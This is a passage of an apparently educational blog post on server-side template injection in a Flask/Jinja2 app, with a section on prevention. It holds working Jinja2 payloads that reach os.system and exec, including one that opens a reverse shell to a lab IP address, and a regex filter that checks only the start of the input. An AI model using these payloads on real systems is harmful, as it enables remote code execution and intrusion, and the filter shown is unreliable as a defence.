srcset="https://substackcdn.com/image/fetch/$s_!whJ3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 424w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 848w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 1272w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!whJ3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic" width="1314" height="188" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:188,&quot;width&quot;:1314,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26746,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!whJ3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 424w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 848w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 1272w, https://substackcdn.com/image/fetch/$s_!whJ3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F625c413c-a708-4dc7-a3ed-8ef168d2ccfe.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!D1DP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 424w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 848w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 1272w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!D1DP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic" width="1246" height="97" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/784fdc66-8600-4c41-8cda-cc0b0ef54add.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:97,&quot;width&quot;:1246,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26263,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!D1DP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 424w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 848w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 1272w, https://substackcdn.com/image/fetch/$s_!D1DP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F784fdc66-8600-4c41-8cda-cc0b0ef54add.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><code>{{self|attr("__init__")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os")|attr("system")('/usr/bin/touch /tmp/bypass_test.txt')}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kmr0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 424w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 848w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 1272w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kmr0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png" width="1456" height="293" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:293,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:89151,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kmr0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 424w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 848w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 1272w, https://substackcdn.com/image/fetch/$s_!kmr0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F10ef8e36-1156-43a0-98e3-dc4571fbe05a_1606x323.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>It seems that in this context I cannot refer to the attribute under <code>builtins</code>.<br>But when I worked backwards there is no attribute error.</p><p>So I tried another payload, and not using builtin <code>__import__</code> instead I use <code>exec</code> which according to the <a href="https://www.toppr.com/guides/python-guide/references/methods-and-functions/methods/built-in/exec/python-exec/">toppr</a> <code>exec</code> is used to execute python syntax. So by calling <code>exec</code> from <code>builtins</code> I can easily execute python syntax for reverse shell.<br>Instead of <code>attr()</code> I use <code>['...']</code> which works exactly the same.<br></p><p><code>{{self['__init__']['__globals__']['__builtins__']['exec']('import os; os.system("/usr/bin/touch /tmp/bypass_test.txt")')}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hc8V!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 424w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 848w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 1272w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hc8V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic" width="1192" height="104" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:104,&quot;width&quot;:1192,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12912,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hc8V!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 424w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 848w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 1272w, https://substackcdn.com/image/fetch/$s_!hc8V!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f94a2f8-9927-40cf-98d6-9f5a97189c80.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vRuJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 424w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 848w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 1272w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vRuJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic" width="645" height="104" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d61fc053-0de0-4972-ad0e-19f4d05e4c48.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:104,&quot;width&quot;:645,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:9624,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vRuJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 424w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 848w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 1272w, https://substackcdn.com/image/fetch/$s_!vRuJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd61fc053-0de0-4972-ad0e-19f4d05e4c48.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><code>{{self['__init__']['__globals__']['__builtins__']['exec']('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.202.130",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'')}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EUOJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 424w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 848w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 1272w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EUOJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic" width="1456" height="204" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:204,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31843,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EUOJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 424w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 848w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 1272w, https://substackcdn.com/image/fetch/$s_!EUOJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95b8d410-4c73-496c-9bb5-ca54677b5bcf.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><h1>Preventing SSTI</h1><div><hr></div><p>Initially the web app has no checking on <strong>text</strong>, and hence python attributes can be called easily without restriction, a check on <code>.__</code> prevents attributes to be called directly, however this is not enough there are ways to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md">bypass the checking</a>.</p><p>Checking <code>.__</code> is insufficient, in fact if my web app does not expect special characters which invokes Jinja2 rendering then I should filter all of them.</p><p>A simple way to solve this is to use regular expression to detect <em><strong>unintended</strong></em> characters in your web application. Here is my improvement:</p><pre><code><code>from flask import render_template_string, request, Flask
import re

app = Flask(__name__)


@app.route('/')
def index():
    if request.args.get("text"):
        txt = request.args.get("text")
        if re.match(r"\W+", txt):
            return "Illegal template!"
        else:
            return render_template_string(txt)
    else:
        return "Use http://127.0.0.1:5000/?text=write_anything_here"


if __name__ == "__main__":
    app.run(debug=True)</code></code></pre><p>In my checking, if there is at least one character that is neither number nor word I will block it.<br>Here are the results after I put in the check.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MCfv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 424w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 848w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 1272w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MCfv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic" width="580" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d664453c-03bb-470e-841e-7604b02ac389.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:580,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8165,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MCfv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 424w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 848w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 1272w, https://substackcdn.com/image/fetch/$s_!MCfv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd664453c-03bb-470e-841e-7604b02ac389.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qY81!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 424w, https://substackcdn.com/image/fetch/$s_!qY81!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 848w, https://substackcdn.com/image/fetch/$s_!qY81!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 1272w, https://substackcdn.com/image/fetch/$s_!qY81!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qY81!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic" width="580" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a136f95e-06c9-4c79-a9d0-de617848f878.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:580,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7873,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qY81!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 424w, https://substackcdn.com/image/fetch/$s_!qY81!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 848w, https://substackcdn.com/image/fetch/$s_!qY81!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 1272w, https://substackcdn.com/image/fetch/$s_!qY81!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa136f95e-06c9-4c79-a9d0-de617848f878.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pufO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 424w, https://substackcdn.com/image/fetch/$s_!pufO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 